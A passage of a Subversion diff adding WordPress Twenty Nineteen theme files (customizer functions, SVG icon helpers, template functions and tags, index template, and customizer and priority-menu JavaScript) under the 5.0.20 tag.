+ * Render the site title for the selective refresh partial.
+ *
+ * @return void
+ */
+function twentynineteen_customize_partial_blogname() {
+	bloginfo( 'name' );
+}
+
+/**
+ * Render the site tagline for the selective refresh partial.
+ *
+ * @return void
+ */
+function twentynineteen_customize_partial_blogdescription() {
+	bloginfo( 'description' );
+}
+
+/**
+ * Bind JS handlers to instantly live-preview changes.
+ */
+function twentynineteen_customize_preview_js() {
+	wp_enqueue_script( 'twentynineteen-customize-preview', get_theme_file_uri( '/js/customize-preview.js' ), array( 'customize-preview' ), '20181231', true );
+}
+add_action( 'customize_preview_init', 'twentynineteen_customize_preview_js' );
+
+/**
+ * Load dynamic logic for the customizer controls area.
+ */
+function twentynineteen_panels_js() {
+	wp_enqueue_script( 'twentynineteen-customize-controls', get_theme_file_uri( '/js/customize-controls.js' ), array(), '20181231', true );
+}
+add_action( 'customize_controls_enqueue_scripts', 'twentynineteen_panels_js' );
+
+/**
+ * Sanitize custom color choice.
+ *
+ * @param string $choice Whether image filter is active.
+ *
+ * @return string
+ */
+function twentynineteen_sanitize_color_option( $choice ) {
+	$valid = array(
+		'default',
+		'custom',
+	);
+
+	if ( in_array( $choice, $valid, true ) ) {
+		return $choice;
+	}
+
+	return 'default';
+}
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/inc/icon-functions.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/inc/icon-functions.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/inc/icon-functions.php	(revision 56912)
@@ -0,0 +1,52 @@
+<?php
+/**
+ * SVG icons related functions
+ *
+ * @package WordPress
+ * @subpackage Twenty_Nineteen
+ * @since 1.0.0
+ */
+
+/**
+ * Gets the SVG code for a given icon.
+ */
+function twentynineteen_get_icon_svg( $icon, $size = 24 ) {
+	return TwentyNineteen_SVG_Icons::get_svg( 'ui', $icon, $size );
+}
+
+/**
+ * Gets the SVG code for a given social icon.
+ */
+function twentynineteen_get_social_icon_svg( $icon, $size = 24 ) {
+	return TwentyNineteen_SVG_Icons::get_svg( 'social', $icon, $size );
+}
+
+/**
+ * Detects the social network from a URL and returns the SVG code for its icon.
+ */
+function twentynineteen_get_social_link_svg( $uri, $size = 24 ) {
+	return TwentyNineteen_SVG_Icons::get_social_link_svg( $uri, $size );
+}
+
+/**
+ * Display SVG icons in social links menu.
+ *
+ * @param  string  $item_output The menu item output.
+ * @param  WP_Post $item        Menu item object.
+ * @param  int     $depth       Depth of the menu.
+ * @param  array   $args        wp_nav_menu() arguments.
+ * @return string  $item_output The menu item output with social icon.
+ */
+function twentynineteen_nav_menu_social_icons( $item_output, $item, $depth, $args ) {
+	// Change SVG icon inside social links menu if there is supported URL.
+	if ( 'social' === $args->theme_location ) {
+		$svg = twentynineteen_get_social_link_svg( $item->url, 26 );
+		if ( empty( $svg ) ) {
+			$svg = twentynineteen_get_icon_svg( 'link' );
+		}
+		$item_output = str_replace( $args->link_after, '</span>' . $svg, $item_output );
+	}
+
+	return $item_output;
+}
+add_filter( 'walker_nav_menu_start_el', 'twentynineteen_nav_menu_social_icons', 10, 4 );
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/inc/template-functions.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/inc/template-functions.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/inc/template-functions.php	(revision 56912)
@@ -0,0 +1,421 @@
+<?php
+/**
+ * Functions which enhance the theme by hooking into WordPress
+ *
+ * @package WordPress
+ * @subpackage Twenty_Nineteen
+ * @since 1.0.0
+ */
+
+/**
+ * Adds custom classes to the array of body classes.
+ *
+ * @param array $classes Classes for the body element.
+ * @return array
+ */
+function twentynineteen_body_classes( $classes ) {
+
+	if ( is_singular() ) {
+		// Adds `singular` to singular pages.
+		$classes[] = 'singular';
+	} else {
+		// Adds `hfeed` to non singular pages.
+		$classes[] = 'hfeed';
+	}
+
+	// Adds a class if image filters are enabled.
+	if ( twentynineteen_image_filters_enabled() ) {
+		$classes[] = 'image-filters-enabled';
+	}
+
+	return $classes;
+}
+add_filter( 'body_class', 'twentynineteen_body_classes' );
+
+/**
+ * Adds custom class to the array of posts classes.
+ */
+function twentynineteen_post_classes( $classes, $class, $post_id ) {
+	$classes[] = 'entry';
+
+	return $classes;
+}
+add_filter( 'post_class', 'twentynineteen_post_classes', 10, 3 );
+
+
+/**
+ * Add a pingback url auto-discovery header for single posts, pages, or attachments.
+ */
+function twentynineteen_pingback_header() {
+	if ( is_singular() && pings_open() ) {
+		echo '<link rel="pingback" href="', esc_url( get_bloginfo( 'pingback_url' ) ), '">';
+	}
+}
+add_action( 'wp_head', 'twentynineteen_pingback_header' );
+
+/**
+ * Changes comment form default fields.
+ */
+function twentynineteen_comment_form_defaults( $defaults ) {
+	$comment_field = $defaults['comment_field'];
+
+	// Adjust height of comment form.
+	$defaults['comment_field'] = preg_replace( '/rows="\d+"/', 'rows="5"', $comment_field );
+
+	return $defaults;
+}
+add_filter( 'comment_form_defaults', 'twentynineteen_comment_form_defaults' );
+
+/**
+ * Filters the default archive titles.
+ */
+function twentynineteen_get_the_archive_title() {
+	if ( is_category() ) {
+		$title = __( 'Category Archives: ', 'twentynineteen' ) . '<span class="page-description">' . single_term_title( '', false ) . '</span>';
+	} elseif ( is_tag() ) {
+		$title = __( 'Tag Archives: ', 'twentynineteen' ) . '<span class="page-description">' . single_term_title( '', false ) . '</span>';
+	} elseif ( is_author() ) {
+		$title = __( 'Author Archives: ', 'twentynineteen' ) . '<span class="page-description">' . get_the_author_meta( 'display_name' ) . '</span>';
+	} elseif ( is_year() ) {
+		$title = __( 'Yearly Archives: ', 'twentynineteen' ) . '<span class="page-description">' . get_the_date( _x( 'Y', 'yearly archives date format', 'twentynineteen' ) ) . '</span>';
+	} elseif ( is_month() ) {
+		$title = __( 'Monthly Archives: ', 'twentynineteen' ) . '<span class="page-description">' . get_the_date( _x( 'F Y', 'monthly archives date format', 'twentynineteen' ) ) . '</span>';
+	} elseif ( is_day() ) {
+		$title = __( 'Daily Archives: ', 'twentynineteen' ) . '<span class="page-description">' . get_the_date() . '</span>';
+	} elseif ( is_post_type_archive() ) {
+		$title = __( 'Post Type Archives: ', 'twentynineteen' ) . '<span class="page-description">' . post_type_archive_title( '', false ) . '</span>';
+	} elseif ( is_tax() ) {
+		$tax = get_taxonomy( get_queried_object()->taxonomy );
+		/* translators: %s: Taxonomy singular name */
+		$title = sprintf( esc_html__( '%s Archives:', 'twentynineteen' ), $tax->labels->singular_name );
+	} else {
+		$title = __( 'Archives:', 'twentynineteen' );
+	}
+	return $title;
+}
+add_filter( 'get_the_archive_title', 'twentynineteen_get_the_archive_title' );
+
+/**
+ * Determines if post thumbnail can be displayed.
+ */
+function twentynineteen_can_show_post_thumbnail() {
+	return apply_filters( 'twentynineteen_can_show_post_thumbnail', ! post_password_required() && ! is_attachment() && has_post_thumbnail() );
+}
+
+/**
+ * Returns true if image filters are enabled on the theme options.
+ */
+function twentynineteen_image_filters_enabled() {
+	return 0 !== get_theme_mod( 'image_filter', 1 );
+}
+
+/**
+ * Add custom sizes attribute to responsive image functionality for post thumbnails.
+ *
+ * @origin Twenty Nineteen 1.0
+ *
+ * @param array $attr  Attributes for the image markup.
+ * @return string Value for use in post thumbnail 'sizes' attribute.
+ */
+function twentynineteen_post_thumbnail_sizes_attr( $attr ) {
+
+	if ( is_admin() ) {
+		return $attr;
+	}
+
+	if ( ! is_singular() ) {
+		$attr['sizes'] = '(max-width: 34.9rem) calc(100vw - 2rem), (max-width: 53rem) calc(8 * (100vw / 12)), (min-width: 53rem) calc(6 * (100vw / 12)), 100vw';
+	}
+
+	return $attr;
+}
+add_filter( 'wp_get_attachment_image_attributes', 'twentynineteen_post_thumbnail_sizes_attr', 10, 1 );
+
+/**
+ * Returns the size for avatars used in the theme.
+ */
+function twentynineteen_get_avatar_size() {
+	return 60;
+}
+
+/**
+ * Returns true if comment is by author of the post.
+ *
+ * @see get_comment_class()
+ */
+function twentynineteen_is_comment_by_post_author( $comment = null ) {
+	if ( is_object( $comment ) && $comment->user_id > 0 ) {
+		$user = get_userdata( $comment->user_id );
+		$post = get_post( $comment->comment_post_ID );
+		if ( ! empty( $user ) && ! empty( $post ) ) {
+			return $comment->user_id === $post->post_author;
+		}
+	}
+	return false;
+}
+
+/**
+ * Returns information about the current post's discussion, with cache support.
+ */
+function twentynineteen_get_discussion_data() {
+	static $discussion, $post_id;
+
+	$current_post_id = get_the_ID();
+	if ( $current_post_id === $post_id ) {
+		return $discussion; /* If we have discussion information for post ID, return cached object */
+	} else {
+		$post_id = $current_post_id;
+	}
+
+	$comments = get_comments(
+		array(
+			'post_id' => $current_post_id,
+			'orderby' => 'comment_date_gmt',
+			'order'   => get_option( 'comment_order', 'asc' ), /* Respect comment order from Settings » Discussion. */
+			'status'  => 'approve',
+			'number'  => 20, /* Only retrieve the last 20 comments, as the end goal is just 6 unique authors */
+		)
+	);
+
+	$authors = array();
+	foreach ( $comments as $comment ) {
+		$authors[] = ( (int) $comment->user_id > 0 ) ? (int) $comment->user_id : $comment->comment_author_email;
+	}
+
+	$authors    = array_unique( $authors );
+	$discussion = (object) array(
+		'authors'   => array_slice( $authors, 0, 6 ),           /* Six unique authors commenting on the post. */
+		'responses' => get_comments_number( $current_post_id ), /* Number of responses. */
+	);
+
+	return $discussion;
+}
+
+/**
+ * Add an extra menu to our nav for our priority+ navigation to use
+ *
+ * @param object $nav_menu  Nav menu.
+ * @param object $args      Nav menu args.
+ * @return string More link for hidden menu items.
+ */
+function twentynineteen_add_ellipses_to_nav( $nav_menu, $args ) {
+
+	if ( 'menu-1' === $args->theme_location ) :
+
+		$nav_menu .= '<div class="main-menu-more">';
+		$nav_menu .= '<ul class="main-menu">';
+		$nav_menu .= '<li class="menu-item menu-item-has-children">';
+		$nav_menu .= '<button class="submenu-expand main-menu-more-toggle is-empty" tabindex="-1" aria-label="More" aria-haspopup="true" aria-expanded="false">';
+		$nav_menu .= '<span class="screen-reader-text">' . esc_html__( 'More', 'twentynineteen' ) . '</span>';
+		$nav_menu .= twentynineteen_get_icon_svg( 'arrow_drop_down_ellipsis' );
+		$nav_menu .= '</button>';
+		$nav_menu .= '<ul class="sub-menu hidden-links">';
+		$nav_menu .= '<li id="menu-item--1" class="mobile-parent-nav-menu-item menu-item--1">';
+		$nav_menu .= '<button class="menu-item-link-return">';
+		$nav_menu .= twentynineteen_get_icon_svg( 'chevron_left' );
+		$nav_menu .= esc_html__( 'Back', 'twentynineteen' );
+		$nav_menu .= '</button>';
+		$nav_menu .= '</li>';
+		$nav_menu .= '</ul>';
+		$nav_menu .= '</li>';
+		$nav_menu .= '</ul>';
+		$nav_menu .= '</div>';
+
+	endif;
+
+	return $nav_menu;
+}
+add_filter( 'wp_nav_menu', 'twentynineteen_add_ellipses_to_nav', 10, 2 );
+
+/**
+ * WCAG 2.0 Attributes for Dropdown Menus
+ *
+ * Adjustments to menu attributes tot support WCAG 2.0 recommendations
+ * for flyout and dropdown menus.
+ *
+ * @ref https://www.w3.org/WAI/tutorials/menus/flyout/
+ */
+function twentynineteen_nav_menu_link_attributes( $atts, $item, $args, $depth ) {
+
+	// Add [aria-haspopup] and [aria-expanded] to menu items that have children
+	$item_has_children = in_array( 'menu-item-has-children', $item->classes );
+	if ( $item_has_children ) {
+		$atts['aria-haspopup'] = 'true';
+		$atts['aria-expanded'] = 'false';
+	}
+
+	return $atts;
+}
+add_filter( 'nav_menu_link_attributes', 'twentynineteen_nav_menu_link_attributes', 10, 4 );
+
+/**
+ * Add a dropdown icon to top-level menu items.
+ *
+ * @param string $output Nav menu item start element.
+ * @param object $item   Nav menu item.
+ * @param int    $depth  Depth.
+ * @param object $args   Nav menu args.
+ * @return string Nav menu item start element.
+ * Add a dropdown icon to top-level menu items
+ */
+function twentynineteen_add_dropdown_icons( $output, $item, $depth, $args ) {
+
+	// Only add class to 'top level' items on the 'primary' menu.
+	if ( ! isset( $args->theme_location ) || 'menu-1' !== $args->theme_location ) {
+		return $output;
+	}
+
+	if ( in_array( 'mobile-parent-nav-menu-item', $item->classes, true ) && isset( $item->original_id ) ) {
+		// Inject the keyboard_arrow_left SVG inside the parent nav menu item, and let the item link to the parent item.
+		// @todo Only do this for nested submenus? If on a first-level submenu, then really the link could be "#" since the desire is to remove the target entirely.
+		$link = sprintf(
+			'<button class="menu-item-link-return" tabindex="-1">%s',
+			twentynineteen_get_icon_svg( 'chevron_left', 24 )
+		);
+
+		// replace opening <a> with <button>
+		$output = preg_replace(
+			'/<a\s.*?>/',
+			$link,
+			$output,
+			1 // Limit.
+		);
+
+		// replace closing </a> with </button>
+		$output = preg_replace(
+			'#</a>#i',
+			'</button>',
+			$output,
+			1 // Limit.
+		);
+
+	} elseif ( in_array( 'menu-item-has-children', $item->classes, true ) ) {
+
+		// Add SVG icon to parent items.
+		$icon = twentynineteen_get_icon_svg( 'keyboard_arrow_down', 24 );
+
+		$output .= sprintf(
+			'<button class="submenu-expand" tabindex="-1">%s</button>',
+			$icon
+		);
+	}
+
+	return $output;
+}
+add_filter( 'walker_nav_menu_start_el', 'twentynineteen_add_dropdown_icons', 10, 4 );
+
+/**
+ * Create a nav menu item to be displayed on mobile to navigate from submenu back to the parent.
+ *
+ * This duplicates each parent nav menu item and makes it the first child of itself.
+ *
+ * @param array  $sorted_menu_items Sorted nav menu items.
+ * @param object $args              Nav menu args.
+ * @return array Amended nav menu items.
+ */
+function twentynineteen_add_mobile_parent_nav_menu_items( $sorted_menu_items, $args ) {
+	static $pseudo_id = 0;
+	if ( ! isset( $args->theme_location ) || 'menu-1' !== $args->theme_location ) {
+		return $sorted_menu_items;
+	}
+
+	$amended_menu_items = array();
+	foreach ( $sorted_menu_items as $nav_menu_item ) {
+		$amended_menu_items[] = $nav_menu_item;
+		if ( in_array( 'menu-item-has-children', $nav_menu_item->classes, true ) ) {
+			$parent_menu_item                   = clone $nav_menu_item;
+			$parent_menu_item->original_id      = $nav_menu_item->ID;
+			$parent_menu_item->ID               = --$pseudo_id;
+			$parent_menu_item->db_id            = $parent_menu_item->ID;
+			$parent_menu_item->object_id        = $parent_menu_item->ID;
+			$parent_menu_item->classes          = array( 'mobile-parent-nav-menu-item' );
+			$parent_menu_item->menu_item_parent = $nav_menu_item->ID;
+
+			$amended_menu_items[] = $parent_menu_item;
+		}
+	}
+
+	return $amended_menu_items;
+}
+add_filter( 'wp_nav_menu_objects', 'twentynineteen_add_mobile_parent_nav_menu_items', 10, 2 );
+
+/**
+ * Convert HSL to HEX colors
+ */
+function twentynineteen_hsl_hex( $h, $s, $l, $to_hex = true ) {
+
+	$h /= 360;
+	$s /= 100;
+	$l /= 100;
+
+	$r = $l;
+	$g = $l;
+	$b = $l;
+	$v = ( $l <= 0.5 ) ? ( $l * ( 1.0 + $s ) ) : ( $l + $s - $l * $s );
+	if ( $v > 0 ) {
+		$m;
+		$sv;
+		$sextant;
+		$fract;
+		$vsf;
+		$mid1;
+		$mid2;
+
+		$m = $l + $l - $v;
+		$sv = ( $v - $m ) / $v;
+		$h *= 6.0;
+		$sextant = floor( $h );
+		$fract = $h - $sextant;
+		$vsf = $v * $sv * $fract;
+		$mid1 = $m + $vsf;
+		$mid2 = $v - $vsf;
+
+		switch ( $sextant ) {
+			case 0:
+				$r = $v;
+				$g = $mid1;
+				$b = $m;
+				break;
+			case 1:
+				$r = $mid2;
+				$g = $v;
+				$b = $m;
+				break;
+			case 2:
+				$r = $m;
+				$g = $v;
+				$b = $mid1;
+				break;
+			case 3:
+				$r = $m;
+				$g = $mid2;
+				$b = $v;
+				break;
+			case 4:
+				$r = $mid1;
+				$g = $m;
+				$b = $v;
+				break;
+			case 5:
+				$r = $v;
+				$g = $m;
+				$b = $mid2;
+				break;
+		}
+	}
+	$r = round( $r * 255, 0 );
+	$g = round( $g * 255, 0 );
+	$b = round( $b * 255, 0 );
+
+	if ( $to_hex ) {
+
+		$r = ( $r < 15 ) ? '0' . dechex( $r ) : dechex( $r );
+		$g = ( $g < 15 ) ? '0' . dechex( $g ) : dechex( $g );
+		$b = ( $b < 15 ) ? '0' . dechex( $b ) : dechex( $b );
+
+		return "#$r$g$b";
+
+	}
+
+	return "rgb($r, $g, $b)";
+}
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/inc/template-tags.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/inc/template-tags.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/inc/template-tags.php	(revision 56912)
@@ -0,0 +1,240 @@
+<?php
+/**
+ * Custom template tags for this theme
+ *
+ * @package WordPress
+ * @subpackage Twenty_Nineteen
+ * @since 1.0.0
+ */
+
+if ( ! function_exists( 'twentynineteen_posted_on' ) ) :
+	/**
+	 * Prints HTML with meta information for the current post-date/time.
+	 */
+	function twentynineteen_posted_on() {
+		$time_string = '<time class="entry-date published updated" datetime="%1$s">%2$s</time>';
+		if ( get_the_time( 'U' ) !== get_the_modified_time( 'U' ) ) {
+			$time_string = '<time class="entry-date published" datetime="%1$s">%2$s</time><time class="updated" datetime="%3$s">%4$s</time>';
+		}
+
+		$time_string = sprintf(
+			$time_string,
+			esc_attr( get_the_date( DATE_W3C ) ),
+			esc_html( get_the_date() ),
+			esc_attr( get_the_modified_date( DATE_W3C ) ),
+			esc_html( get_the_modified_date() )
+		);
+
+		printf(
+			'<span class="posted-on">%1$s<a href="%2$s" rel="bookmark">%3$s</a></span>',
+			twentynineteen_get_icon_svg( 'watch', 16 ),
+			esc_url( get_permalink() ),
+			$time_string
+		);
+	}
+endif;
+
+if ( ! function_exists( 'twentynineteen_posted_by' ) ) :
+	/**
+	 * Prints HTML with meta information about theme author.
+	 */
+	function twentynineteen_posted_by() {
+		printf(
+			/* translators: 1: SVG icon. 2: post author, only visible to screen readers. 3: author link. */
+			'<span class="byline">%1$s<span class="screen-reader-text">%2$s</span><span class="author vcard"><a class="url fn n" href="%3$s">%4$s</a></span></span>',
+			twentynineteen_get_icon_svg( 'person', 16 ),
+			__( 'Posted by', 'twentynineteen' ),
+			esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ),
+			esc_html( get_the_author() )
+		);
+	}
+endif;
+
+if ( ! function_exists( 'twentynineteen_comment_count' ) ) :
+	/**
+	 * Prints HTML with the comment count for the current post.
+	 */
+	function twentynineteen_comment_count() {
+		if ( ! post_password_required() && ( comments_open() || get_comments_number() ) ) {
+			echo '<span class="comments-link">';
+			echo twentynineteen_get_icon_svg( 'comment', 16 );
+
+			/* translators: %s: Name of current post. Only visible to screen readers. */
+			comments_popup_link( sprintf( __( 'Leave a comment<span class="screen-reader-text"> on %s</span>', 'twentynineteen' ), get_the_title() ) );
+
+			echo '</span>';
+		}
+	}
+endif;
+
+if ( ! function_exists( 'twentynineteen_entry_footer' ) ) :
+	/**
+	 * Prints HTML with meta information for the categories, tags and comments.
+	 */
+	function twentynineteen_entry_footer() {
+
+		// Hide author, post date, category and tag text for pages.
+		if ( 'post' === get_post_type() ) {
+
+			// Posted by
+			twentynineteen_posted_by();
+
+			// Posted on
+			twentynineteen_posted_on();
+
+			/* translators: used between list items, there is a space after the comma. */
+			$categories_list = get_the_category_list( __( ', ', 'twentynineteen' ) );
+			if ( $categories_list ) {
+				printf(
+					/* translators: 1: SVG icon. 2: posted in label, only visible to screen readers. 3: list of categories. */
+					'<span class="cat-links">%1$s<span class="screen-reader-text">%2$s</span>%3$s</span>',
+					twentynineteen_get_icon_svg( 'archive', 16 ),
+					__( 'Posted in', 'twentynineteen' ),
+					$categories_list
+				); // WPCS: XSS OK.
+			}
+
+			/* translators: used between list items, there is a space after the comma. */
+			$tags_list = get_the_tag_list( '', __( ', ', 'twentynineteen' ) );
+			if ( $tags_list ) {
+				printf(
+					/* translators: 1: SVG icon. 2: posted in label, only visible to screen readers. 3: list of tags. */
+					'<span class="tags-links">%1$s<span class="screen-reader-text">%2$s </span>%3$s</span>',
+					twentynineteen_get_icon_svg( 'tag', 16 ),
+					__( 'Tags:', 'twentynineteen' ),
+					$tags_list
+				); // WPCS: XSS OK.
+			}
+		}
+
+		// Comment count.
+		if ( ! is_singular() ) {
+			twentynineteen_comment_count();
+		}
+
+		// Edit post link.
+		edit_post_link(
+			sprintf(
+				wp_kses(
+					/* translators: %s: Name of current post. Only visible to screen readers. */
+					__( 'Edit <span class="screen-reader-text">%s</span>', 'twentynineteen' ),
+					array(
+						'span' => array(
+							'class' => array(),
+						),
+					)
+				),
+				get_the_title()
+			),
+			'<span class="edit-link">' . twentynineteen_get_icon_svg( 'edit', 16 ),
+			'</span>'
+		);
+	}
+endif;
+
+if ( ! function_exists( 'twentynineteen_post_thumbnail' ) ) :
+	/**
+	 * Displays an optional post thumbnail.
+	 *
+	 * Wraps the post thumbnail in an anchor element on index views, or a div
+	 * element when on single views.
+	 */
+	function twentynineteen_post_thumbnail() {
+		if ( ! twentynineteen_can_show_post_thumbnail() ) {
+			return;
+		}
+
+		if ( is_singular() ) :
+			?>
+
+			<figure class="post-thumbnail">
+				<?php the_post_thumbnail(); ?>
+			</figure><!-- .post-thumbnail -->
+
+			<?php
+		else :
+			?>
+
+		<figure class="post-thumbnail">
+			<a class="post-thumbnail-inner" href="<?php the_permalink(); ?>" aria-hidden="true" tabindex="-1">
+				<?php the_post_thumbnail( 'post-thumbnail' ); ?>
+			</a>
+		</figure>
+
+			<?php
+		endif; // End is_singular().
+	}
+endif;
+
+if ( ! function_exists( 'twentynineteen_comment_avatar' ) ) :
+	/**
+	 * Returns the HTML markup to generate a user avatar.
+	 */
+	function twentynineteen_get_user_avatar_markup( $id_or_email = null ) {
+
+		if ( ! isset( $id_or_email ) ) {
+			$id_or_email = get_current_user_id();
+		}
+
+		return sprintf( '<div class="comment-user-avatar comment-author vcard">%s</div>', get_avatar( $id_or_email, twentynineteen_get_avatar_size() ) );
+	}
+endif;
+
+if ( ! function_exists( 'twentynineteen_discussion_avatars_list' ) ) :
+	/**
+	 * Displays a list of avatars involved in a discussion for a given post.
+	 */
+	function twentynineteen_discussion_avatars_list( $comment_authors ) {
+		if ( empty( $comment_authors ) ) {
+			return;
+		}
+		echo '<ol class="discussion-avatar-list">', "\n";
+		foreach ( $comment_authors as $id_or_email ) {
+			printf(
+				"<li>%s</li>\n",
+				twentynineteen_get_user_avatar_markup( $id_or_email )
+			);
+		}
+		echo '</ol><!-- .discussion-avatar-list -->', "\n";
+	}
+endif;
+
+if ( ! function_exists( 'twentynineteen_comment_form' ) ) :
+	/**
+	 * Documentation for function.
+	 */
+	function twentynineteen_comment_form( $order ) {
+		if ( true === $order || strtolower( $order ) === strtolower( get_option( 'comment_order', 'asc' ) ) ) {
+
+			comment_form(
+				array(
+					'logged_in_as' => null,
+					'title_reply'  => null,
+				)
+			);
+		}
+	}
+endif;
+
+if ( ! function_exists( 'twentynineteen_the_posts_navigation' ) ) :
+	/**
+	 * Documentation for function.
+	 */
+	function twentynineteen_the_posts_navigation() {
+		the_posts_pagination(
+			array(
+				'mid_size'  => 2,
+				'prev_text' => sprintf(
+					'%s <span class="nav-prev-text">%s</span>',
+					twentynineteen_get_icon_svg( 'chevron_left', 22 ),
+					__( 'Newer posts', 'twentynineteen' )
+				),
+				'next_text' => sprintf(
+					'<span class="nav-next-text">%s</span> %s',
+					__( 'Older posts', 'twentynineteen' ),
+					twentynineteen_get_icon_svg( 'chevron_right', 22 )
+				),
+			)
+		);
+	}
+endif;
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/index.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/index.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/index.php	(revision 56912)
@@ -0,0 +1,47 @@
+<?php
+/**
+ * The main template file
+ *
+ * This is the most generic template file in a WordPress theme
+ * and one of the two required files for a theme (the other being style.css).
+ * It is used to display a page when nothing more specific matches a query.
+ * E.g., it puts together the home page when no home.php file exists.
+ *
+ * @link https://developer.wordpress.org/themes/basics/template-hierarchy/
+ *
+ * @package WordPress
+ * @subpackage Twenty_Nineteen
+ * @since 1.0.0
+ */
+
+get_header();
+?>
+
+	<section id="primary" class="content-area">
+		<main id="main" class="site-main">
+
+		<?php
+		if ( have_posts() ) {
+
+			// Load posts loop.
+			while ( have_posts() ) {
+				the_post();
+				get_template_part( 'template-parts/content/content' );
+			}
+
+			// Previous/next page navigation.
+			twentynineteen_the_posts_navigation();
+
+		} else {
+
+			// If no content, include the "No posts found" template.
+			get_template_part( 'template-parts/content/content', 'none' );
+
+		}
+		?>
+
+		</main><!-- .site-main -->
+	</section><!-- .content-area -->
+
+<?php
+get_footer();
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/js/customize-controls.js
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/js/customize-controls.js	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/js/customize-controls.js	(revision 56912)
@@ -0,0 +1,30 @@
+/**
+ * File customizer.js.
+ *
+ * Theme Customizer enhancements for a better user experience.
+ *
+ * Contains handlers to make Theme Customizer preview reload changes asynchronously.
+ */
+
+(function() {
+
+	wp.customize.bind( 'ready', function() {
+
+		// Only show the color hue control when there's a custom primary color.
+		wp.customize( 'primary_color', function( setting ) {
+			wp.customize.control( 'primary_color_hue', function( control ) {
+				var visibility = function() {
+					if ( 'custom' === setting.get() ) {
+						control.container.slideDown( 180 );
+					} else {
+						control.container.slideUp( 180 );
+					}
+				};
+
+				visibility();
+				setting.bind( visibility );
+			});
+		});
+	});
+
+})( jQuery );
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/js/customize-preview.js
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/js/customize-preview.js	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/js/customize-preview.js	(revision 56912)
@@ -0,0 +1,60 @@
+/**
+ * File customizer.js.
+ *
+ * Theme Customizer enhancements for a better user experience.
+ *
+ * Contains handlers to make Theme Customizer preview reload changes asynchronously.
+ */
+
+(function( $ ) {
+
+	// Primary color.
+	wp.customize( 'primary_color', function( value ) {
+		value.bind( function( to ) {
+			// Update custom color CSS.
+			var style = $( '#custom-theme-colors' ),
+				hue = style.data( 'hue' ),
+				css = style.html(),
+				color;
+
+			if( 'custom' === to ){
+				// If a custom primary color is selected, use the currently set primary_color_hue
+				color = wp.customize.get().primary_color_hue;
+			} else {
+				// If the "default" option is selected, get the default primary_color_hue
+				color = 199;
+			}
+
+			// Equivalent to css.replaceAll, with hue followed by comma to prevent values with units from being changed.
+			css = css.split( hue + ',' ).join( color + ',' );
+			style.html( css ).data( 'hue', color );
+		});
+	});
+
+	// Primary color hue.
+	wp.customize( 'primary_color_hue', function( value ) {
+		value.bind( function( to ) {
+
+			// Update custom color CSS.
+			var style = $( '#custom-theme-colors' ),
+				hue = style.data( 'hue' ),
+				css = style.html();
+
+			// Equivalent to css.replaceAll, with hue followed by comma to prevent values with units from being changed.
+			css = css.split( hue + ',' ).join( to + ',' );
+			style.html( css ).data( 'hue', to );
+		});
+	});
+
+	// Image filter.
+	wp.customize( 'image_filter', function( value ) {
+		value.bind( function( to ) {
+			if ( to ) {
+				$( 'body' ).addClass( 'image-filters-enabled' );
+			} else {
+				$( 'body' ).removeClass( 'image-filters-enabled' );
+			}
+		} );
+	} );
+
+})( jQuery );
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/js/priority-menu.js
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/js/priority-menu.js	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/js/priority-menu.js	(revision 56912)
@@ -0,0 +1,216 @@
+(function() {
+
+	/**
+	 * Debounce
+	 *
+	 * @param {Function} func
+	 * @param {number} wait
+	 * @param {boolean} immediate
+	 */
+	function debounce(func, wait, immediate) {
+		'use strict';
+
+		var timeout;
+		wait      = (typeof wait !== 'undefined') ? wait : 20;
+		immediate = (typeof immediate !== 'undefined') ? immediate : true;
+
+		return function() {
+
+			var context = this, args = arguments;
+			var later = function() {
+				timeout = null;
+
+				if (!immediate) {
+					func.apply(context, args);
+				}
+			};
+
+			var callNow = immediate && !timeout;
+
+			clearTimeout(timeout);
+			timeout = setTimeout(later, wait);
+
+			if (callNow) {
+				func.apply(context, args);
+			}
+		};
+	}
+
+	/**
+	 * Prepends an element to a container.
+	 *
+	 * @param {Element} container
+	 * @param {Element} element
+	 */
+	function prependElement(container, element) {
+		if (container.firstChild.nextSibling) {
+			return container.insertBefore(element, container.firstChild.nextSibling);
+		} else {
+			return container.appendChild(element);
+		}
+	}
+
+	/**
+	 * Shows an element by adding a hidden className.
+	 *
+	 * @param {Element} element
+	 */
+	function showButton(element) {
+		// classList.remove is not supported in IE11
+		element.className = element.className.replace('is-empty', '');
+	}
+
+	/**
+	 * Hides an element by removing the hidden className.
+	 *
+	 * @param {Element} element
+	 */
+	function hideButton(element) {
+		// classList.add is not supported in IE11
+		if (!element.classList.contains('is-empty')) {
+			element.className += ' is-empty';
+		}
+	}
+
+	/**
+	 * Returns the currently available space in the menu container.
+	 *
+	 * @returns {number} Available space
+	 */
+	function getAvailableSpace( button, container ) {
+		return container.offsetWidth - button.offsetWidth - 22;
+	}
+
+	/**
+	 * Returns whether the current menu is overflowing or not.
+	 *
+	 * @returns {boolean} Is overflowing
+	 */
+	function isOverflowingNavivation( list, button, container ) {
+		return list.offsetWidth > getAvailableSpace( button, container );
+	}
+
+	/**
+	 * Set menu container variable
+	 */
+	var navContainer = document.querySelector('.main-navigation');
+	var breaks       = [];
+
+	/**
+	 * Let’s bail if we our menu doesn't exist
+	 */
+	if ( ! navContainer ) {
+		return;
+	}
